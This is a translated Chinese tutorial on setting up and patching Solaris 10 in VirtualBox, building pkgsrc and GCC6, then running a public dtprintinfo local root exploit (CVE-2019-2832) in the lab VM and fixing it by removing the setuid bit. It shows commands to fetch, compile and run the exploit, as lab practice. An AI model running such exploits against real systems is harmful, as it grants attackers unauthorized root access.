溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

發(fā)布時(shí)間:2021-11-11 15:40:58 來源:億速云 閱讀:296 作者:柒染 欄目:編程語言

這篇文章將為大家詳細(xì)講解有關(guān)如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

你將學(xué)習(xí)到如何在Virtualbox中練習(xí)Solaris 10 x86漏洞的配置修補(bǔ)與利用。其實(shí)對于多年來從事信息安全的我來說這是件及其無聊的事,而如果你是位UNIX的系統(tǒng)管理員則更是如此。

過去,你很難掌握所有的架構(gòu)。因?yàn)樵诋?dāng)時(shí)硬件非常難得,并且價(jià)格也非常昂貴。如今,隨著虛擬化技術(shù)(Qemu,VirtualBox,VMWare,AlphaVM,simh)的普及,這一切都開始變得容易。

Solaris(Solaris 10)

Solaris是Sun Microsystems研發(fā)的計(jì)算機(jī)操作系統(tǒng)。Solaris 10已于2018年1月份正式停止更新。

我們將使用x86端口,在Linux x86_64((我使用的是Mint 19.1))上的Oracle VirtualBox中運(yùn)行它的x86_64版本。

下面,讓我們開始在Linux上的VirtualBox中安裝Solaris 10 - 以下是我們將要用到的(假設(shè)我們已對Linux發(fā)行版做了一些基本的設(shè)置)

Linux x86_64 (Linux Mint 19.1)

VirtualBox (6.0.10 – https://www.virtualbox.org/wiki/Linux_Downloads )

Solaris 10 x86 ( ftp://ftp.deu.edu.tr/pub/Solaris/iso/Solaris-10,8_11/sol-10-u10-ga2-x86-dvd.iso)

Solaris 10 x86 Oct-2017-CPU (ftp://ftp.deu.edu.tr/pub/Solaris/patch/x86/10_x86_Recommended.zip )

networking.sh (用于設(shè)置網(wǎng)絡(luò)適配器僅主機(jī)模式的自定義腳本)

networking.sh 

#Setup tap and bridge 
tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
#ifconfig eth0 10.0.2.1 up 
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 vboxnet0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
#iptables -A FORWARD --in-interface eth0 -j ACCEPT
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

請確保你已安裝uml-utilities和bridge-util軟件包,并使其正常工作。(注意:這里被注釋的eth0條目 - 這僅在你希望將模擬仿真網(wǎng)絡(luò)連接到物理網(wǎng)絡(luò),并使其可用于其他設(shè)備時(shí)啟用)

# apt-get install uml-utilities bridge-utils

此外,這里還有一個(gè)關(guān)于vboxnet0接口的重要說明,只有在virtualbox啟動(dòng)之后才能在我的系統(tǒng)上使用。因此,在重啟并運(yùn)行networking.sh腳本后務(wù)必牢記這點(diǎn)。

現(xiàn)在,讓我們開始吧!在VirtualBox中安裝Solaris 10非常簡單。我們將使用virtualbox中提供的Oracle Solaris 10 10/09和更高版本(64位)模板創(chuàng)建新的虛擬機(jī)。對于網(wǎng)絡(luò),我們將使用Host-only-Adapter和vboxnet0。對于磁盤,我們將分配不少于30 GB的存儲(chǔ)空間(由于/usr/pkgsrc的原因)。

我們將使用ZFS文件系統(tǒng),因此選擇具有ZFS內(nèi)核支持的Grub條目。以下是我將用于Solaris10 VM的網(wǎng)絡(luò)配置。

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

并遵循以下DNS條目(如果你有自己的DNS,也可以使用你自己的DNS)

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

我們將安裝Solaris 10 DVD ISO中的所有內(nèi)容,設(shè)置root密碼等。一旦安裝程序完成關(guān)閉系統(tǒng),從VM中刪除Solaris 10 DVD ISO并引導(dǎo)新磁盤。在控制臺(tái)中等待一段時(shí)間(尚未登錄),等待X11出現(xiàn)。我喜歡CDE,所以我將默認(rèn)桌面切換為了CDE

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

以root身份登錄后不要注冊O(shè)racle(我們不需要這么做,因?yàn)槲覀冇衟kgsrc bootstrap。

接下來,我們下載適用于Solaris10 x86_64的2017年10月CPU補(bǔ)丁并安裝它(這是Oracle的最后一個(gè)Solaris10 CPU,除非有擴(kuò)展支持..)

在我們的Linux主機(jī)上執(zhí)行以下操作

$ mkdir -p SOL10/patch
$ cd SOL10/patch
$ wget ftp://ftp.deu.edu.tr/pub/Solaris/patch/x86/10_x86_Recommended.zip
$ unzip 10_x86_Recommended.zip
$ mkisofs -iso-level 3 -J -joliet-long -rock -input-charset utf-8 -o patch.iso 10_x86_Recommended/

接下來,我們將這個(gè)新的patch.iso添加到我們的VirtualBox CDROM,并重啟到單用戶模式(對于Solaris上的CPU修補(bǔ),這是一個(gè)好主意)

實(shí)際上,當(dāng)我從CDE dtterm運(yùn)行時(shí),就是這樣進(jìn)入單用戶模式的。

# shutdown -g 0

在Solaris10中進(jìn)入單用戶模式后,使用Oct2017 CPU安裝ISO

# mount -r -F hsfs /dev/dsk/c0t1d0s0/ /cdrom/cdrom
# cd /cdrom/cdrom

現(xiàn)在,我們將運(yùn)行補(bǔ)丁集

# ./installpatchset --s10patchset

你現(xiàn)在可以去泡杯咖啡或茶放松下,因?yàn)檫@可能需要你等待一段時(shí)間。修補(bǔ)過程完成后,重啟即可。

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

我們來檢查下內(nèi)核版本,看看是否應(yīng)用了補(bǔ)丁。可以看到,我們當(dāng)前運(yùn)行的是2017年10月的內(nèi)核。兩年前曾有披露過兩款NSA開發(fā)的專門用于攻擊Solaris系統(tǒng)的工具“EXTREMEPARR”和“EBBISLAND”。 登錄用戶使用這兩款工具可以提升到Root權(quán)限,并通過網(wǎng)絡(luò)遠(yuǎn)程獲取Root訪問權(quán)限。這兩款工具對x86和Sparc上運(yùn)行的Solaris版本6至版本10奏效,版本11也未能幸免。 exploit代碼可以在此處獲取。CDE本地提權(quán)exploit,我們將在稍后討論。

# uname -a
SunOS solaris10 5.10 Generic_150401-55 i86pc i386 i86pc

現(xiàn)在,讓我們仔細(xì)檢查一下是否已安裝了GCC編譯器,如果沒有安裝那么請安裝它。再次在VirtualBox中安裝Solaris 10 installation DVD iso,Solaris將在OS中自動(dòng)安裝ISO。

# cd /cdrom/sol_10_811_x86/Solaris_10/Product
# pkgadd -d . SUNWgcc (answer y)

我們來驗(yàn)證安裝,可以看到有一個(gè)正常工作的GCC編譯器(版本為3.4.3)

# /usr/sfw/bin/gcc -v

現(xiàn)在,我們應(yīng)該要為pkgsrc bootstrap做準(zhǔn)備了。讓我們先下載Q2-2019穩(wěn)定快照。

# cd /usr
# ftp ftp.netbsd.org (login as anonymous or ftp)
ftp> pass
ftp> cd pub/pkgsrc/pkgsrc-2019Q2
ftp> get pgsrc.tar.gz
ftp> quit
# gunzip pkgsrc.tar.gz
# tar -xvf pkgsrc.tar
# rm pkgsrc.tar

一旦提取了tarball,我們就可以相應(yīng)地設(shè)置bootstrap環(huán)境了

https://wiki.netbsd.org/pkgsrc/how_to_use_pkgsrc_on_solaris/

不要在Solaris中使用附帶的bash shell運(yùn)行bootstrap,請使用默認(rèn)的sh!

# cd /usr/pkgrc/bootstrap
# env CFLAGS=-O2 CC=/usr/sfw/bin/gcc ./bootstrap

如果一切順利,我們應(yīng)該會(huì)看到一個(gè)成功狀態(tài)的提示(在Core i5 Panasonic CF-53上花了大約5分鐘的時(shí)間)。

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

在構(gòu)建任何內(nèi)容之前,我們需要在/usr/pkg/etc/mk.conf中設(shè)置一些選項(xiàng)

CC= /usr/sfw/bin/gcc !! (this is needed to get newer GCC compiled, we will change it later)
X11_TYPE= modular
PKG_DEVELOPER=yes
PKG_DEFAULT_OPTONS+=freetype truetype mmx subpixel official-mozilla-branding
FETCH_USING=fetch

另外,在開始編譯GCC6之前,我們還需要準(zhǔn)備一些其他的東西…

現(xiàn)在我們可以使用本地bash

# bash

讓我們?yōu)閟hell設(shè)置額外的二進(jìn)制文件路徑(稍后你可以將其添加到你的配置文件中)

# export PATH=/usr/sbin:/usr/bin:/usr/dt/bin:/usr/ucb:/usr/ccs/bin:/usr/sfw/bin

清除摘要工作目錄并安裝它

# cd /usr/pkgsrc/pkgtools/digest
# rm -rf .work
# /usr/pkg/bin/bmake install clean clean-depends

如果在mk.conf中使用PKG_DEVELOPER = yes進(jìn)行編譯,那么首先構(gòu)建perl,因?yàn)樵诎鼊?chuàng)建過程中會(huì)出現(xiàn)錯(cuò)誤“perl interpreter for Trace.pm not existing”,因此對于perl,我們將在/usr/pkg/etc/mk.conf中將其更改為no as -> PKG_DEVELOPER=no。

# cd /usr/pkgsrc/lang/perl5
# /usr/pkg/bin/bmake install clean clean-depends

perl構(gòu)建完成后,我們就可以在mk.conf中將其設(shè)置回PKG_DEVELOPER = yes并繼續(xù)構(gòu)建。

現(xiàn)在我們終于轉(zhuǎn)到了GCC 6!

# cd /usr/pkgsrc/lang/gcc6
# /usr/pkg/bin/bmake install clean clean-depends

一旦我們編譯了GCC6,就必須設(shè)置/usr/pkg/etc/mk.conf來使用新的CC和CXX變量,如下所示:

CC=    /usr/pkg/gcc6/bin/gcc
CXX=   /usr/pkg/gcc6/bin/g++

p.s 我將保持這部分開放,并在Solaris10上構(gòu)建pkgsrc軟件包時(shí)添加其他注釋,你可以在此處查看更多詳細(xì)信息。

現(xiàn)在我們將/usr/pkg/bin:/usr/pkg/sbin/usr/pkg/gcc6/bin/添加到我們的path中,因?yàn)槲覀冇辛艘粋€(gè)新的工作編譯器。

# export PATH=/usr/sbin:/usr/bin:/usr/dt/bin:/usr/ccs/bin:/usr/pkg/bin:/usr/pkg/sbin:/usr/pkg/gcc6/bin
# ln -s /usr/ccs/bin/ar /usr/bin/ar
# ln -s /usr/ccs/bin/ranlib /usr/bin/ranlib

INFOSEC部分 - 在Solaris上測試一些0days!CVE-2019-2832

我們可以使用最新的GCC6或舊版本GCC3,它們都可以正常工作。在本例中我使用的是本機(jī)的gcc 3.4.3,對于那些想要跳過gcc6編譯步驟的人來說(需要花費(fèi)很多時(shí)間) 

我們現(xiàn)在將創(chuàng)建標(biāo)準(zhǔn)用戶并設(shè)置密碼

# useradd -m -d /export/home/user user -s /usr/bin/bash
# passwd user

并定義一些新的.profile變量,以便我們可以使用/usr/pkg,以user身份登錄(或 # su – user)

一旦我們以user身份登錄,就可以下載并構(gòu)建Raptor的https://twitter.com/0xdea dtprintinfo exploit。在Linux主機(jī)上你可以從這里下載exploit代碼:https://raw.githubusercontent.com/0xdea/exploits/master/solaris/raptor_dtprintname_intel.c,并通過FTP上傳到Solaris 10 VM

$ wget https://raw.githubusercontent.com/0xdea/exploits/master/solaris/raptor_dtprintname_intel.c
$ ftp 10.0.2.12 
user Name (10.0.2.12:user): user
331 Password required for user.
Password:
ftp> put raptor_dtprintname_intel.c

在Solaris 10 VM上,我們在DT會(huì)話中編譯用戶下的代碼并運(yùn)行。

$ /usr/sfw/bin/gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall 
$ ./raptor_dtprintinfo_intel 10.0.2.12:0

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

但是出現(xiàn)一個(gè)錯(cuò)誤,即Xlib連接到10.0.2.12:0.0被服務(wù)器拒絕(安裝后的默認(rèn)行為)所以讓我們允許所有與X的通信連接,以root用戶身份運(yùn)行以授權(quán)/禁用遠(yuǎn)程主機(jī)的X11連接

# xhost +    (this is to allow all to connect to X11; not a good idea) 
# xhost -    (forbid all who are not authorized) 
# xhost +10.0.2.12 (in our case this would be better, so only trusted hosts can connect to X11)

我們再次運(yùn)行exploit代碼,這次可以正常運(yùn)行:)

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

因此,現(xiàn)在我們可以從被利用的root shell修復(fù)上述的CDE提權(quán)問題,即使我們沒有來自O(shè)racle的官方補(bǔ)?。ㄈ绻愫苄疫\(yùn)并且可以訪問Oracle的擴(kuò)展用戶支持,那么你可以像我們之前一樣應(yīng)用July-2019-CPU補(bǔ)?。?/p>

所需要的只是從/usr/dt/bin/dtprintinfo二進(jìn)制文件中刪除(S)etuid位。

# chmod -s /usr/dt/bin/dtprintinfo

這一次顯然exploit已不起作用了,因?yàn)樗堰M(jìn)行了修補(bǔ)

如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用

關(guān)于如何在Virtualbox中練習(xí)10 x86漏洞的配置修補(bǔ)與利用就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI